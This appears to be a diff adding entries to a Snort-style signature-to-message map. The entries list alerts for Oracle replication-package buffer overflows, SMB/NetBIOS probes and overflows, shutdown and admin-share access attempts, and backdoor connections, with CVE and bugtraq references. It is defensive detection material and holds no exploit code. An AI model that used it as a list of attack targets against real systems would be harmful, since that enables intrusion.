+2776 || ORACLE dbms_repcat.drop_priority_raw buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2777 || ORACLE dbms_repcat.drop_priority buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2778 || ORACLE dbms_repcat.drop_priority_varchar2 buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2779 || ORACLE dbms_repcat.drop_site_priority_site buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2780 || ORACLE dbms_repcat.drop_site_priority buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2781 || ORACLE dbms_repcat.drop_snapshot_repgroup buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2782 || ORACLE dbms_repcat.drop_snapshot_repobject buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2783 || ORACLE dbms_repcat.drop_unique_resolution buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2784 || ORACLE dbms_repcat.drop_update_resolution buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2785 || ORACLE dbms_repcat.execute_ddl buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2786 || ORACLE dbms_repcat.generate_replication_package buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2787 || ORACLE dbms_repcat_instantiate.instantiate_online buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2788 || ORACLE dbms_repcat.make_column_group buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2789 || ORACLE dbms_repcat.obsolete_flavor_definition buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2790 || ORACLE dbms_repcat.publish_flavor_definition buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2791 || ORACLE dbms_repcat.purge_flavor_definition buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2792 || ORACLE dbms_repcat.purge_master_log buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2793 || ORACLE dbms_repcat.purge_statistics buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2794 || ORACLE dbms_repcat.refresh_mview_repgroup buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2795 || ORACLE dbms_repcat.refresh_snapshot_repgroup buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2796 || ORACLE dbms_repcat.register_mview_repgroup buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2797 || ORACLE dbms_repcat.register_snapshot_repgroup buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2798 || ORACLE dbms_repcat.register_statistics buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2799 || ORACLE dbms_repcat.relocate_masterdef buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2800 || ORACLE dbms_repcat.rename_shadow_column_group buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2801 || ORACLE dbms_repcat.resume_master_activity buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2802 || ORACLE dbms_repcat_rgt.check_ddl_text buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2803 || ORACLE dbms_repcat_rgt.drop_site_instantiation buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2804 || ORACLE dbms_repcat.send_and_compare_old_values buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2805 || ORACLE dbms_repcat.set_columns buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2806 || ORACLE dbms_repcat.set_local_flavor buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2807 || ORACLE dbms_repcat.specify_new_masters buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2808 || ORACLE dbms_repcat.suspend_master_activity buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2809 || ORACLE dbms_repcat.unregister_mview_repgroup buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2810 || ORACLE dbms_repcat.unregister_snapshot_repgroup buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2811 || ORACLE dbms_repcat.validate_flavor_definition buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2812 || ORACLE dbms_repcat.validate_for_local_flavor buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2813 || ORACLE sys.dbms_repcat_fla.abort_flavor_definition buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2814 || ORACLE sys.dbms_repcat_fla.add_object_to_flavor buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2815 || ORACLE sys.dbms_repcat_fla.begin_flavor_definition buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2816 || ORACLE sys.dbms_repcat_fla.drop_object_from_flavor buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2817 || ORACLE sys.dbms_repcat_fla_mas.add_column_group_to_flavor buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2818 || ORACLE sys.dbms_repcat_fla_mas.add_columns_to_flavor buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2819 || ORACLE sys.dbms_repcat_fla_mas.drop_column_group_from_flavor buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2820 || ORACLE sys.dbms_repcat_fla_mas.drop_columns_from_flavor buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2821 || ORACLE sys.dbms_repcat_fla_mas.obsolete_flavor_definition buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2822 || ORACLE sys.dbms_repcat_fla_mas.publish_flavor_definition buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2823 || ORACLE sys.dbms_repcat_fla_mas.purge_flavor_definition buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2824 || ORACLE sys.dbms_repcat_fla.set_local_flavor buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2825 || ORACLE sys.dbms_repcat_fla.validate_flavor_definition buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2826 || ORACLE sys.dbms_repcat_fla.validate_for_local_flavor buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2827 || ORACLE sys.dbms_repcat_mas.alter_master_repobject buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2828 || ORACLE sys.dbms_repcat_mas.comment_on_repgroup buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2829 || ORACLE sys.dbms_repcat_mas.comment_on_repobject buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2830 || ORACLE sys.dbms_repcat_mas.create_master_repgroup buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2831 || ORACLE sys.dbms_repcat_mas.create_master_repobject buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2832 || ORACLE sys.dbms_repcat_mas.do_deferred_repcat_admin buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2833 || ORACLE sys.dbms_repcat_mas.drop_master_repgroup buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2834 || ORACLE sys.dbms_repcat_mas.generate_replication_package buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2835 || ORACLE sys.dbms_repcat_mas.purge_master_log buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2836 || ORACLE sys.dbms_repcat_mas.relocate_masterdef buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2837 || ORACLE sys.dbms_repcat_mas.rename_shadow_column_group buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2838 || ORACLE sys.dbms_repcat_mas.resume_master_activity buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2839 || ORACLE sys.dbms_repcat_mas.suspend_master_activity buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2840 || ORACLE sys.dbms_repcat_sna_utl.alter_snapshot_propagation buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2841 || ORACLE sys.dbms_repcat_sna_utl.create_snapshot_repgroup buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2842 || ORACLE sys.dbms_repcat_sna_utl.drop_snapshot_repgroup buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2843 || ORACLE sys.dbms_repcat_sna_utl.drop_snapshot_repobject buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2844 || ORACLE sys.dbms_repcat_sna_utl.refresh_snapshot_repgroup buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2845 || ORACLE sys.dbms_repcat_sna_utl.register_snapshot_repgroup buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2846 || ORACLE sys.dbms_repcat_sna_utl.repcat_import_check buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2847 || ORACLE sys.dbms_repcat_sna_utl.unregister_snapshot_repgroup buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2848 || ORACLE sys.dbms_repcat_utl4.drop_master_repobject buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2849 || ORACLE sys.dbms_repcat_utl.drop_an_object buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2850 || ORACLE dbms_repcat.create_mview_repobject buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2851 || ORACLE dbms_repcat.create_snapshot_repobject buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2852 || ORACLE dbms_repcat.generate_mview_support buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2853 || ORACLE dbms_repcat.generate_replication_trigger buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2854 || ORACLE dbms_repcat.generate_snapshot_support buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2855 || ORACLE dbms_repcat.remove_master_databases buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2856 || ORACLE dbms_repcat.switch_mview_master buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2857 || ORACLE dbms_repcat.switch_snapshot_master buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2858 || ORACLE sys.dbms_repcat_conf.add_delete_resolution buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2859 || ORACLE sys.dbms_repcat_conf.add_priority_char buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2860 || ORACLE sys.dbms_repcat_conf.add_priority_date buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2861 || ORACLE sys.dbms_repcat_conf.add_priority_nchar buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2862 || ORACLE sys.dbms_repcat_conf.add_priority_number buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2863 || ORACLE sys.dbms_repcat_conf.add_priority_nvarchar2 buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2864 || ORACLE sys.dbms_repcat_conf.add_priority_raw buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2865 || ORACLE sys.dbms_repcat_conf.add_priority_varchar2 buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2866 || ORACLE sys.dbms_repcat_conf.add_site_priority_site buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2867 || ORACLE sys.dbms_repcat_conf.add_unique_resolution buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2868 || ORACLE sys.dbms_repcat_conf.add_update_resolution buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2869 || ORACLE sys.dbms_repcat_conf.alter_priority_char buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2870 || ORACLE sys.dbms_repcat_conf.alter_priority_date buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2871 || ORACLE sys.dbms_repcat_conf.alter_priority_nchar buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2872 || ORACLE sys.dbms_repcat_conf.alter_priority_number buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2873 || ORACLE sys.dbms_repcat_conf.alter_priority_nvarchar2 buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2874 || ORACLE sys.dbms_repcat_conf.alter_priority_raw buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2875 || ORACLE sys.dbms_repcat_conf.alter_priority buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2876 || ORACLE sys.dbms_repcat_conf.alter_priority_varchar2 buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2877 || ORACLE sys.dbms_repcat_conf.alter_site_priority_site buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2878 || ORACLE sys.dbms_repcat_conf.alter_site_priority buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2879 || ORACLE sys.dbms_repcat_conf.cancel_statistics buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2880 || ORACLE sys.dbms_repcat_conf.comment_on_delete_resolution buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2881 || ORACLE sys.dbms_repcat_conf.comment_on_priority_group buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2882 || ORACLE sys.dbms_repcat_conf.comment_on_site_priority buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2883 || ORACLE sys.dbms_repcat_conf.comment_on_unique_resolution buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2884 || ORACLE sys.dbms_repcat_conf.comment_on_update_resolution buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2885 || ORACLE sys.dbms_repcat_conf.define_priority_group buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2886 || ORACLE sys.dbms_repcat_conf.define_site_priority buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2887 || ORACLE sys.dbms_repcat_conf.drop_delete_resolution buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2888 || ORACLE sys.dbms_repcat_conf.drop_priority_char buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2889 || ORACLE sys.dbms_repcat_conf.drop_priority_date buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2890 || ORACLE sys.dbms_repcat_conf.drop_priority_nchar buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2891 || ORACLE sys.dbms_repcat_conf.drop_priority_number buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2892 || ORACLE sys.dbms_repcat_conf.drop_priority_nvarchar2 buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2893 || ORACLE sys.dbms_repcat_conf.drop_priority_raw buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2894 || ORACLE sys.dbms_repcat_conf.drop_priority buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2895 || ORACLE sys.dbms_repcat_conf.drop_priority_varchar2 buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2896 || ORACLE sys.dbms_repcat_conf.drop_site_priority_site buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2897 || ORACLE sys.dbms_repcat_conf.drop_site_priority buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2898 || ORACLE sys.dbms_repcat_conf.drop_unique_resolution buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2899 || ORACLE sys.dbms_repcat_conf.drop_update_resolution buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2900 || ORACLE sys.dbms_repcat_conf.purge_statistics buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2901 || ORACLE sys.dbms_repcat_conf.register_statistics buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2902 || ORACLE sys.dbms_repcat_sna.alter_snapshot_propagation buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2903 || ORACLE sys.dbms_repcat_sna.create_snapshot_repgroup buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2904 || ORACLE sys.dbms_repcat_sna.create_snapshot_repobject buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2905 || ORACLE sys.dbms_repcat_sna.create_snapshot_repschema buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2906 || ORACLE sys.dbms_repcat_sna.drop_snapshot_repgroup buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2907 || ORACLE sys.dbms_repcat_sna.drop_snapshot_repobject buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2908 || ORACLE sys.dbms_repcat_sna.drop_snapshot_repschema buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2909 || ORACLE sys.dbms_repcat_sna.generate_snapshot_support buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2910 || ORACLE sys.dbms_repcat_sna.refresh_snapshot_repgroup buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2911 || ORACLE sys.dbms_repcat_sna.refresh_snapshot_repschema buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2912 || ORACLE sys.dbms_repcat_sna.register_snapshot_repgroup buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2913 || ORACLE sys.dbms_repcat_sna.repcat_import_check buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2914 || ORACLE sys.dbms_repcat_sna.set_local_flavor buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2915 || ORACLE sys.dbms_repcat_sna.switch_snapshot_master buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2916 || ORACLE sys.dbms_repcat_sna.unregister_snapshot_repgroup buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2917 || ORACLE sys.dbms_repcat_sna_utl.switch_snapshot_master buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2918 || ORACLE sys.dbms_repcat_sna.validate_for_local_flavor buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2919 || ORACLE sys.dbms_repcat_untrusted.register_snapshot_repgroup buffer overflow attempt || url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html
+2921 || DNS UDP inverse query || bugtraq,2302 || cve,2001-0010
+2922 || DNS TCP inverse query || bugtraq,2302 || cve,2001-0010
+2923 || NETBIOS SMB repeated logon failure
+2924 || NETBIOS SMB-DS repeated logon failure
+2925 || INFO web bug 0x0 gif attempt
+2926 || WEB-PHP PhpGedView PGV base directory manipulation || bugtraq,9368
+2927 || NNTP XPAT pattern overflow attempt || cve,2004-0574 || url,www.microsoft.com/technet/security/bulletin/MS04-036.mspx
+2928 || NETBIOS SMB nddeapi create tree attempt || bugtraq,11372 || cve,2004-0206
+2929 || NETBIOS SMB nddeapi unicode create tree attempt || bugtraq,11372 || cve,2004-0206
+2930 || NETBIOS SMB-DS nddeapi create tree attempt || bugtraq,11372 || cve,2004-0206
+2931 || NETBIOS SMB-DS nddeapi unicode create tree attempt || bugtraq,11372 || cve,2004-0206
+2932 || NETBIOS SMB nddeapi bind attempt || bugtraq,11372 || cve,2004-0206
+2933 || NETBIOS SMB nddeapi unicode bind attempt || bugtraq,11372 || cve,2004-0206
+2934 || NETBIOS SMB-DS nddeapi bind attempt || bugtraq,11372 || cve,2004-0206
+2935 || NETBIOS SMB-DS nddeapi unicode bind attempt || bugtraq,11372 || cve,2004-0206
+2936 || NETBIOS SMB NDdeSetTrustedShareW overflow attempt || bugtraq,11372 || cve,2004-0206
+2937 || NETBIOS SMB NDdeSetTrustedShareW unicode overflow attempt || bugtraq,11372 || cve,2004-0206
+2938 || NETBIOS SMB-DS NDdeSetTrustedShareW overflow attempt || bugtraq,11372 || cve,2004-0206
+2939 || NETBIOS SMB-DS NDdeSetTrustedShareW unicode overflow attempt || bugtraq,11372 || cve,2004-0206
+2940 || NETBIOS SMB winreg bind attempt
+2941 || NETBIOS SMB winreg unicode bind attempt
+2942 || NETBIOS SMB InitiateSystemShutdown attempt
+2943 || NETBIOS SMB InitiateSystemShutdown little endian attempt
+2944 || NETBIOS SMB InitiateSystemShutdown unicode attempt
+2945 || NETBIOS SMB InitiateSystemShutdown unicode little endian attempt
+2946 || NETBIOS SMB NDdeSetTrustedShareW little endian overflow attempt || bugtraq,11372 || cve,2004-0206
+2947 || NETBIOS SMB NDdeSetTrustedShareW unicode little endian overflow attempt || bugtraq,11372 || cve,2004-0206
+2948 || NETBIOS SMB-DS NDdeSetTrustedShareW little endian overflow attempt || bugtraq,11372 || cve,2004-0206
+2949 || NETBIOS SMB-DS NDdeSetTrustedShareW unicode little endian overflow attempt || bugtraq,11372 || cve,2004-0206
+2950 || NETBIOS SMB too many stacked requests
+2951 || NETBIOS SMB-DS too many stacked requests
+2952 || NETBIOS SMB IPC$ andx share access
+2953 || NETBIOS SMB IPC$ unicode andx share access
+2954 || NETBIOS SMB-DS IPC$ andx share access
+2955 || NETBIOS SMB-DS IPC$ unicode andx share access
+2956 || NETBIOS SMB nddeapi andx create tree attempt || bugtraq,11372 || cve,2004-0206
+2957 || NETBIOS SMB nddeapi unicode andx create tree attempt || bugtraq,11372 || cve,2004-0206
+2958 || NETBIOS SMB-DS nddeapi andx create tree attempt || bugtraq,11372 || cve,2004-0206
+2959 || NETBIOS SMB-DS nddeapi unicode andx create tree attempt || bugtraq,11372 || cve,2004-0206
+2960 || NETBIOS SMB nddeapi andx bind attempt || bugtraq,11372 || cve,2004-0206
+2961 || NETBIOS SMB nddeapi unicode andx bind attempt || bugtraq,11372 || cve,2004-0206
+2962 || NETBIOS SMB-DS nddeapi andx bind attempt || bugtraq,11372 || cve,2004-0206
+2963 || NETBIOS SMB-DS nddeapi unicode andx bind attempt || bugtraq,11372 || cve,2004-0206
+2964 || NETBIOS SMB NDdeSetTrustedShareW andx overflow attempt || bugtraq,11372 || cve,2004-0206
+2965 || NETBIOS SMB NDdeSetTrustedShareW little endian andx overflow attempt || bugtraq,11372 || cve,2004-0206
+2966 || NETBIOS SMB NDdeSetTrustedShareW unicode andx overflow attempt || bugtraq,11372 || cve,2004-0206
+2967 || NETBIOS SMB NDdeSetTrustedShareW unicode little endian andx overflow attempt || bugtraq,11372 || cve,2004-0206
+2968 || NETBIOS SMB-DS NDdeSetTrustedShareW andx overflow attempt || bugtraq,11372 || cve,2004-0206
+2969 || NETBIOS SMB-DS NDdeSetTrustedShareW little endian andx overflow attempt || bugtraq,11372 || cve,2004-0206
+2970 || NETBIOS SMB-DS NDdeSetTrustedShareW unicode andx overflow attempt || bugtraq,11372 || cve,2004-0206
+2971 || NETBIOS SMB-DS NDdeSetTrustedShareW unicode little endian andx overflow attempt || bugtraq,11372 || cve,2004-0206
+2972 || NETBIOS SMB D$ andx share access
+2973 || NETBIOS SMB D$ unicode andx share access
+2974 || NETBIOS SMB-DS D$ andx share access
+2975 || NETBIOS SMB-DS D$ unicode andx share access
+2976 || NETBIOS SMB C$ andx share access
+2977 || NETBIOS SMB C$ unicode andx share access
+2978 || NETBIOS SMB-DS C$ andx share access
+2979 || NETBIOS SMB-DS C$ unicode andx share access
+2980 || NETBIOS SMB ADMIN$ andx share access
+2981 || NETBIOS SMB ADMIN$ unicode andx share access
+2982 || NETBIOS SMB-DS ADMIN$ andx share access
+2983 || NETBIOS SMB-DS ADMIN$ unicode andx share access
+2984 || NETBIOS SMB winreg andx create tree attempt
+2985 || NETBIOS SMB winreg unicode andx create tree attempt
+2986 || NETBIOS SMB-DS winreg andx create tree attempt
+2987 || NETBIOS SMB-DS winreg unicode andx create tree attempt
+2988 || NETBIOS SMB winreg andx bind attempt
+2989 || NETBIOS SMB winreg unicode andx bind attempt
+2990 || NETBIOS SMB-DS winreg andx bind attempt
+2991 || NETBIOS SMB-DS winreg unicode andx bind attempt
+2992 || NETBIOS SMB InitiateSystemShutdown andx attempt
+2993 || NETBIOS SMB InitiateSystemShutdown little endian andx attempt
+2994 || NETBIOS SMB InitiateSystemShutdown unicode andx attempt
+2995 || NETBIOS SMB InitiateSystemShutdown unicode little endian andx attempt
+2996 || NETBIOS SMB-DS InitiateSystemShutdown andx attempt
+2997 || NETBIOS SMB-DS InitiateSystemShutdown little endian andx attempt
+2998 || NETBIOS SMB-DS InitiateSystemShutdown unicode andx attempt
+2999 || NETBIOS SMB-DS InitiateSystemShutdown unicode little endian andx attempt
+3000 || NETBIOS SMB Session Setup NTMLSSP unicode asn1 overflow attempt || bugtraq,9633 || bugtraq,9635 || cve,2003-0818 || nessus,12052 || nessus,12065 || url,www.microsoft.com/technet/security/bulletin/MS04-007.mspx
+3001 || NETBIOS SMB Session Setup NTMLSSP andx asn1 overflow attempt || bugtraq,9633 || bugtraq,9635 || cve,2003-0818 || nessus,12052 || nessus,12065 || url,www.microsoft.com/technet/security/bulletin/MS04-007.mspx
+3002 || NETBIOS SMB Session Setup NTMLSSP unicode andx asn1 overflow attempt || bugtraq,9633 || bugtraq,9635 || cve,2003-0818 || nessus,12052 || nessus,12065 || url,www.microsoft.com/technet/security/bulletin/MS04-007.mspx
+3003 || NETBIOS SMB-DS Session Setup NTMLSSP unicode asn1 overflow attempt || bugtraq,9633 || bugtraq,9635 || cve,2003-0818 || nessus,12052 || nessus,12065 || url,www.microsoft.com/technet/security/bulletin/MS04-007.mspx
+3004 || NETBIOS SMB-DS Session Setup NTMLSSP andx asn1 overflow attempt || bugtraq,9633 || bugtraq,9635 || cve,2003-0818 || nessus,12052 || nessus,12065 || url,www.microsoft.com/technet/security/bulletin/MS04-007.mspx
+3005 || NETBIOS SMB-DS Session Setup NTMLSSP unicode andx asn1 overflow attempt || bugtraq,9633 || bugtraq,9635 || cve,2003-0818 || nessus,12052 || nessus,12065 || url,www.microsoft.com/technet/security/bulletin/MS04-007.mspx
+3006 || EXPLOIT Volition Freespace 2 buffer overflow attempt || bugtraq,9785
+3007 || IMAP delete overflow attempt || bugtraq,11675
+3008 || IMAP delete literal overflow attempt || bugtraq,11675
+3009 || BACKDOOR NetBus Pro 2.0 connection request
+3010 || BACKDOOR RUX the Tick get windows directory attempt
+3011 || BACKDOOR RUX the Tick get system directory attempt
+3012 || BACKDOOR RUX the Tick upload/execute arbitrary file attempt
+3013 || BACKDOOR Asylum 0.1 connection request
+3014 || BACKDOOR Asylum 0.1 connection established
+3015 || BACKDOOR Insane Network 4.0 connection established
+3016 || BACKDOOR Insane Network 4.0 connection established port 63536
+3017 || EXPLOIT WINS overflow attempt || bugtraq,11763 || cve,2004-1080 || url,www.immunitysec.com/downloads/instantanea.pdf || url,www.microsoft.com/technet/security/bulletin/MS04-045.mspx
